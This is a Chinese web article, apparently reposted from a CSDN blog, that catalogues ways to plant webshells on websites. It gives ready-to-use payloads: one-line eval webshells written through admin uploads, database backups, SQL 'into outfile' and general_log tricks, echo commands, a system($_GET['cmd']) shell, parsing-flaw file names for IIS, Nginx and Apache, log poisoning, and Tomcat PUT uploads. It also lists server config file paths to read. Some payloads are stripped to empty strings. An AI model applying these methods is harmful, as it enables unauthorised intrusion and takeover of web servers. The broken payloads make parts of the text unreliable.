文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

网站渗透总结之Getshell用法大全

2023-09-28 21:37

关注

Getshell分为进管理员后台Getshell和不进后台Getshell,本文主要总结常见进后台Getshell和部分。

一、进后台Getshell
进台Getshel

管理员后台直接Getshell
管理员后台直接上传Getshell,有时候带密码的Webshell连接时容易被waf拦截,可以上传不加密的Webshell如有权限限制可以尝试管理后台自带的修改文件名功能在文件名前加../来穿越目录,如上传的文件为a.php,将a.php修改为../a.php。

0

后台数据库备份Getshell
后台数据库备份getshell,上传图片马并获取图片马路径,通过数据库备份修改后缀名,如有后缀名无法修改或路径无法修改限制可修改前端代码绕过,当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可),<%eval

然后再通过备份数据库后访问此界面Getshell。

二、各类上传Getshell
各类上传Getshell

修改网站上传类型Getshell
修改网站上传类型,后台设置中添加aasps|asp|php|jsp|aspx|asa|cer,保存后上传aasps文件,上传后为asp文件可以解析Getshll。

05

上传其他脚本类型Getshell
一台服务器有多个站,如a网站为asp脚本,b网站为php脚本,而a中限制了上传文件类型为asp的文件,此时可以上传php的脚本,来拿shell;也可以尝试脚本文件后缀名改为asa或者在后面直接加个.如xx.asp.来突破文件类型限制进行上传来Getshell解

三、解析漏洞Getshell
1、IIS6.0解析漏洞
​​https://file.lsjlt.com/upload/f/202309/28/rbrnylkveir.jpg​​

​​http://www.xxx.com/xx.asp/xx.txt​​

​​http://www.xxx.com/xx.asp/xx.asp;jpg​​

02

IIS7.0/7.5、Nginx<8.0解析漏洞
​​https://file.lsjlt.com/upload/f/202309/28/yzl0uyofv1l.jpg/.php​​

03

Nginx<8.03空字节代码执行漏洞
版本范围:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

​​https://file.lsjlt.com/upload/f/202309/28/yzl0uyofv1l.jpg%00.php​​

0

Apache解析漏洞
​​http://www.xxx.com/xx.php.owf.rar​​逆向解析,直到能解析出php为止

CVE-2013-4547 Nginx解析漏洞
​​https://file.lsjlt.com/upload/f/202309/28/yzl0uyofv1l.jpg(非编码空格)\0.php​​

四、编辑漏洞Getshell
1、网站配置插马Getshell
进入后台后,网站配置插马getshell,可以找到源码本地搭建,插入时注意与源码闭合,如果插入出错可能导致网站报废。如asp中单引号表示单行注释作用

​​%><%eval request("v01cano")%><%​​

编辑器模版Getshell
通过网站的模版编写一句话,然后生成脚本文件getshell 通过将木马添加到压缩文件,把名字改为网站的模版类型,上传到服务器,getshell)(新建或修改目录名为xx.asp/ 此目录下的jsp,html会以asp执行,配置iis6.有0解析漏洞 。

修改脚本文件Getshell
修改后台脚本文件插入一句话直接Getshell,尽量插在头和尾 。

上传插件、更新页面Getshell
进入wordpress,dz等,如编辑wordpress404页面插入一句话,可以先下载对应版本找到404路径,部分OA上传插件Getshell, jboss,tomcat上传war包getshell等。

执行sql语句写入Webshell
首先执行错误的sql语句,使其暴露出网站的根目录,以ecshop为例,进入后台执行sql查询

​​select "" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";​​

关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。也可以先将一句话通过ecshop的新建管理员写入到user表中,然后通过数据库备份配合解析漏洞Getshell。

五、命令执行Getshel
1、Windows
echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:\1.php
1.
2、Linux
echo -e "" > 1.php
1.
Linux需要在$前加\进行防转义,Windows需要在<前加^防转义,Windows和Linux中的 “可以使用’或不使用进行尝试

六、文件包含Getshell

asp包含

​​include file="123.jpg"​​调用的文件必须和被调用的文件在同一目录,否则找不到,如果不在同一目录,用下面语句也使用如下代码​​include virtual="文件所在目录/123.jpg"​​

php包含
include('123.jpg');
?>
1.
2.
3.
03

使用php://input
使用burpsuite截取数据包,并修改内容转发(还可以使用hackbar工具中的post data中输入​​2222')?>等一句话木马)​​

截取get请求

将一句话木马

访问浏览器查看是否成功

七、数据库命令执行Getshell


1、Access导出
Access可导出xxx等文件需要配合解析漏洞。

create table cmd (a varchar(50));
insert into cmd (a) values ('一句话木马')   #一句话木马如:<%execute request(1)%>
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd 
drop table cmd
1.
2.
3.
4.
菜刀直连​​https://www.webshell.cc/1.asa;x.xls​​

Sqlserver导出
exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"
1.


3、Mysql导出
以phpMyAdmin为例:

方法一
create TABLE xiaoma (xiaoma1 text NOT NULL);
insert INTO xiaoma (xiaoma1) VALUES('');
select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
drop TABLE IF EXISTS xiaoma;
1.
2.
3.
4.
方法二
select "" into outfile 'D:/phpstudy/www/a.php'
1.
方法三
当数据库路径未知时Getshell

//创建表a,并且将httpd.conf写入到表a中
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
1.
2.
然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:

文件可能存在的一些路径:

# Windows
c:\windows\php.ini                             # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml       # IIS虚拟主机配置文件
 # Linux
/etc/php.ini                                   # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                     # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/mysql
/user/local/httpd/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
/user/local/nginx/conf/httpd.conf              # Nginx配置文件
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
方法四
通过load_file函数直接加载该文件内容

select load_file('C:/phpStudy/Apache/conf/httpd.conf');
1.
同时需要做如下配置

方法五
general_log_file方法获取Webshell,show global variables like 'secure%'显示secure_file_priv的值为NULL,不能利用写into outfile写木马getshell。

show global variables like "%genera%";  #查看genera文件配置情况
set global general_log = off;   #关闭general_log  
set global general_log = 'on';  #如果general_log关闭需要开启
set global general_log_file = 'D:/www/web/shell.php'
1.
2.
3.
4.
方法六
可执行命令方式

​​select '\'; system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'd:/www/shell.php'​​

使用方法

www.xxx.com/shell.php?cmd=ipconfig  #cmd=后面加命令
1.
方法七
过杀毒软件方式,上传图片马c.jpg,图片马内容如下:

​​www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令​​

导出Webshell

​​select '' INTO OUTFILE 'D:/work/www/shell.php'​​

方法八
直接导出加密Webshell

​​select unhex('加密代码') into dumpfile 'D:/www/web/shell.php'​​

八、不进后台Getshell
1、0day Getshell
各类OA,coremail,cms,php框架,数据库,java框架等0day,1day,nday Getshell 。

写入日志Getshell
获取日志路径,在访问过程中在url或者其他位置写入​​;​​等信息,使其日志记录此代码,然后访问日志路径,菜刀连接Getshell,如phpinfo();中能查看到error.log和access.log的路径。

0

IIS/Tomcat写权限Getshell
IIS6.0,put协议上传手工或工具,批量扫描工具:iis put scaner,写权限利用:桂林老兵

Tomcat put上传 CVE-2017-12615 工具传送门:https://link.zhihu.com/?target=https%3A//github.com/iBearcat/CVE-2017-12615

0

上传会员头像Getshell
将Webshell放入文件夹,然后压缩成zip文件。上传正常头像抓包将图片文件内容删除,burp右键选择文件黏贴功能,将zip包内容复制到burp中的图片内容,放行后菜刀连接图片上传路径下的文件夹(zip压缩包名)下的Webshell 。

远程命令执行
参考Linux/Windows反弹shell,脚本语言、powershell反弹shell,Kali/Cobalt Strike等各种上线方法 。

其他漏洞Getshell
XXE,SSRF,反序列化,strust2等一种或多种组合利用Getshell 。
 

来源地址:https://blog.csdn.net/LinkSLA/article/details/127726210

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯